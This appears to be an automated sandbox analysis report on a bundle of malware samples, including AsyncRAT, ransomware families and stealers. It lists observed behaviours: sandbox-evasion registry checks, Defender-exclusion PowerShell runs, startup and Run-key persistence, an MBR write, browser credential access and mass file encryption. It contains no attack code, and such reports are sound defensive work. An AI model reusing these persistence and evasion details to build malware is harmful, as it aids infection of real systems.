asyncrat | adfd4e9f51bcd27935f153e44b060b6978f55da9135f34cc62361dbbf2d2db57

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Client_protected.exe

Renames multiple (8924) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Squirrelwaffle payload 1 IoCs

resource	yara_rule
behavioral3/files/0x001900000002b0d2-210.dat	squirrelwaffle

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
9276	powershell.exe
9400	powershell.exe
3836	powershell.exe
9092	powershell.exe
9684	powershell.exe
10516	powershell.exe
1456	powershell.exe
7816	powershell.exe
1640	powershell.exe
680	powershell.exe
744	powershell.exe
8960	powershell.exe
12188	powershell.exe
8204	powershell.exe
11976	powershell.exe
4896	powershell.exe
7164	powershell.exe
13028	powershell.exe
6788	powershell.exe
6892	powershell.exe
8296	powershell.exe
7940	powershell.exe
6248	powershell.exe
492	powershell.exe
7432	powershell.exe
8644	powershell.exe
7948	powershell.exe
13132	powershell.exe
5548	powershell.exe
10924	powershell.exe
8288	powershell.exe
11004	powershell.exe
11092	powershell.exe
7604	powershell.exe
8860	powershell.exe
1584	powershell.exe
5892	powershell.exe
5668	powershell.exe
9272	powershell.exe
7808	powershell.exe
9728	powershell.exe
12416	powershell.exe
5696	powershell.exe
4800	powershell.exe
1156	powershell.exe
9004	powershell.exe
4740	powershell.exe
11452	powershell.exe
7772	powershell.exe
9720	powershell.exe
8116	powershell.exe
9504	powershell.exe
12500	powershell.exe
11684	powershell.exe
1884	powershell.exe
7068	powershell.exe
10160	powershell.exe
11656	powershell.exe
10748	powershell.exe
7036	powershell.exe
6596	powershell.exe
10088	powershell.exe
6644	powershell.exe
12872	powershell.exe

Downloads MZ/PE file 14 IoCs

flow	pid	Process
37	3848	4363463463464363463463463.exe
37	3848	4363463463464363463463463.exe
37	3848	4363463463464363463463463.exe
42	3848	4363463463464363463463463.exe
42	3848	4363463463464363463463463.exe
42	3848	4363463463464363463463463.exe
42	3848	4363463463464363463463463.exe
89	3848	4363463463464363463463463.exe
82	3848	4363463463464363463463463.exe
82	3848	4363463463464363463463463.exe
82	3848	4363463463464363463463463.exe
79	3848	4363463463464363463463463.exe
91	3848	4363463463464363463463463.exe
113	3848	4363463463464363463463463.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
12176	attrib.exe
11608	attrib.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Client_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Client_protected.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 39 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\62fb2487.exe	explorer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD14FF.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	15.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	4.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\62fb2487.exe	explorer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	19.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	8.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	18.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\62fb2487.exe	explorer.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	21.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	17.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	6.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wave.lnk	XClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winsct.lnk	xt.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	19.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	7.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	3.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	13.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	2.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	20.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	11.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	24.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	9.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	22.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	25.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	14.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	1.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wave.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winsct.lnk	xt.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	10.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	16.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\62fb2487.exe	explorer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD1516.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\RGNR_5EDC735C.txt	asena.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	23.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	12.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe

Executes dropped EXE 64 IoCs

pid	Process
2372	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
4972	Cry.exe
2392	paping.exe
4380	tcping.exe
3848	4363463463464363463463463.exe
1856	taskdl.exe
700	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
2800	asena.exe
3708	Bomb.exe
336	CryptoWall.exe
564	62fb2487.exe
1232	62fb2487.exe
3076	62fb2487.exe
4768	62fb2487.exe
4708	25.exe
5216	24.exe
3872	23.exe
1476	22.exe
5272	21.exe
4728	20.exe
5604	19.exe
3460	18.exe
5040	17.exe
656	16.exe
4348	15.exe
3044	14.exe
4424	13.exe
5568	12.exe
5144	11.exe
2992	10.exe
864	9.exe
1516	8.exe
1184	7.exe
2764	6.exe
3244	5.exe
4552	4.exe
2812	3.exe
5488	2.exe
5400	1.exe
7276	@[email protected]
9464	@[email protected]
8376	taskhsvc.exe
12484	VsGraphicsResources2.exe
12116	vsjitdebuggerui.exe
12368	taskdl.exe
12376	taskse.exe
8784	@[email protected]
8168	roblox.exe
6820	stub.exe
6916	svchost.exe
10076	XClient.exe
12692	SQL.exe
6236	q1wnx5ir.exe
11080	taskdl.exe
11784	64.exe
8792	@[email protected]
9668	taskse.exe
8736	Wave.exe
7836	quzfesaq.exe
4596	svchost.exe
8908	crypted.64.exe
8024	unison.exe
6524	Identification.exe
10036	Agentnov.exe

Loads dropped DLL 8 IoCs

pid	Process
8376	taskhsvc.exe
8376	taskhsvc.exe
8376	taskhsvc.exe
8376	taskhsvc.exe
8376	taskhsvc.exe
8376	taskhsvc.exe
6820	stub.exe
6820	stub.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
924	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 7 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral3/files/0x000800000002c5bb-25791.dat	themida
behavioral3/memory/10728-25799-0x0000000000670000-0x0000000000CFE000-memory.dmp	themida
behavioral3/memory/10728-25800-0x0000000000670000-0x0000000000CFE000-memory.dmp	themida
behavioral3/memory/10728-25825-0x0000000000670000-0x0000000000CFE000-memory.dmp	themida
behavioral3/files/0x00030000000188ff-25871.dat	themida
behavioral3/memory/12632-25895-0x0000000000AF0000-0x000000000145C000-memory.dmp	themida
behavioral3/memory/12632-25896-0x0000000000AF0000-0x000000000145C000-memory.dmp	themida

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000\Software\Microsoft\Windows\CurrentVersion\Run\Wave = "C:\\Users\\Admin\\AppData\\Roaming\\Wave.exe"	XClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000\Software\Microsoft\Windows\CurrentVersion\Run\winsct = "C:\\Users\\Admin\\AppData\\Roaming\\winsct"	xt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000\Software\Microsoft\Windows\CurrentVersion\Run\62fb248 = "C:\\62fb2487\\62fb2487.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\*2fb248 = "C:\\62fb2487\\62fb2487.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000\Software\Microsoft\Windows\CurrentVersion\Run\62fb2487 = "C:\\Users\\Admin\\AppData\\Roaming\\62fb2487.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\*2fb2487 = "C:\\Users\\Admin\\AppData\\Roaming\\62fb2487.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\foheeammesp361 = "\"C:\\Users\\Admin\\AppData\\Roaming\\tasksche.exe\""	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Client_protected.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\E:	asena.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
34	raw.githubusercontent.com
37	raw.githubusercontent.com

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com
5	ip-addr.es
34	ip-api.com
38	api.ipify.org
84	api.ipify.org
170	ip-addr.es
1	ip-addr.es

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	asena.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\3880\vsjitdebuggerui.exe	vsjitdebuggerui.exe
File opened for modification	C:\Windows\system32\3880	vsjitdebuggerui.exe
File created	C:\Windows\system32\3880\vsjitdebuggerui.exe	VsGraphicsResources2.exe
File opened for modification	C:\Windows\system32\3880\vsjitdebuggerui.exe	VsGraphicsResources2.exe
File opened for modification	C:\Windows\system32\3880	VsGraphicsResources2.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3437575798-4173230203-4015467660-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
10728	Client_protected.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 8908 set thread context of 8648	8908	crypted.64.exe	421
PID 7836 set thread context of 10000	7836	quzfesaq.exe	431

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-black\Doughboy.scale-150.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\Microsoft.Terminal.ShellExtension.winmd	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pl-pl\ui-strings.js	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.2008.32311.0_x64__8wekyb3d8bbwe\Assets\VAHeaderIcon.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2104.2.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SnipSketchSplashScreen.scale-100_altform-colorful.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Todos_0.33.33351.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SplashScreen.scale-100.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\FetchingMail-Dark.scale-100.png	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\vk_swiftshader_icd.json	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusDemoR_BypassTrial365-ppd.xrm-ms	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Trust Protection Lists\manifest.json	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Trust Protection Lists\Mu\Content	asena.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\cldr.md	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription3-pl.xrm-ms	asena.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Paint_10.2104.17.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PaintWideTile.scale-125.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_2.2106.2807.0_x64__8wekyb3d8bbwe\Assets\Images\contrast-standard\theme-dark\Settings.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingNews_1.0.6.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.6.3102.0_x64__8wekyb3d8bbwe\Win10\MicrosoftSolitaireAppList.targetsize-80_altform-unplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Exchange.scale-300.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.41182.0_x64__8wekyb3d8bbwe\Assets\contrast-black\StoreLogo.scale-400_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_1.0.38.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-40_altform-lightunplated_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\Images\Square44x44Logo.targetsize-96_altform-unplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.21012.10511.0_x64__8wekyb3d8bbwe\Assets\contrast-black\LargeLogo.scale-200_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\lib\SpinButton.js	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\lib-commonjs\components\DetailsList\DetailsList.base.js	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\theme\node_modules\@uifabric\utilities\lib-amd\customizations\Customizer.js	asena.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_should.help.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_logo_small.png	asena.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.32731.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-48_altform-unplated_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Advanced-Dark.scale-250.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\eu-es\RGNR_5EDC735C.txt	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\rhp\RGNR_5EDC735C.txt	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\it-it\RGNR_5EDC735C.txt	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\ResiliencyLinks\Locales\fa.pak.DATA	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\HxCalendarAppList.targetsize-48_altform-unplated.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\themes\dark\share_icons.png	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\identity_proxy\win11\identity_helper.Sparse.Beta.msix	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\mr.pak	asena.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_1.0.65.0_x64__8wekyb3d8bbwe\Images\contrast-white\PowerAutomateWide310x150Logo.scale-150.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxIdentityProvider_12.50.6001.0_x64__8wekyb3d8bbwe\resources.pri	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.21012.10511.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-256.png	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\es-419.pak	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\cs.pak.DATA	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_1.0.6.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxManifest.xml	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_1.0.6.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\WeatherAppList.targetsize-96_altform-unplated_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.6.3102.0_x64__8wekyb3d8bbwe\Win10\MicrosoftSolitaireAppList.targetsize-16.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-cn\ui-strings.js	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\RGNR_5EDC735C.txt	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\ResiliencyLinks\Trust Protection Lists\Sigma\Social.DATA	asena.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management-agent.jar	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RManifest.office32mui.msi.16.en-us.xml	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL108.XML	asena.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsSoundRecorder_1.0.38.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\VoiceRecorderWideTile.scale-200_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingNews_1.0.6.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\NewsAppList.targetsize-80_contrast-black.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\css\main.css	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\mscss7cm_en.dub	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-72_altform-lightunplated_contrast-black.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\en-gb\RGNR_5EDC735C.txt	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\lv.pak	asena.exe
File opened for modification	C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagementSource\en-US\MSFT_PackageManagementSource.schema.mfl	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PersonalDemoR_BypassTrial180-ppd.xrm-ms	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\StandardVL_MAK-ppd.xrm-ms	asena.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
10744	6236	WerFault.exe	393
10208	7644	WerFault.exe	474

System Location Discovery: System Language Discovery 1 TTPs 51 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	62fb2487.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Agentnov.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tcping.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	q1wnx5ir.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	quzfesaq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pc raper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	62fb2487.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhsvc.exe
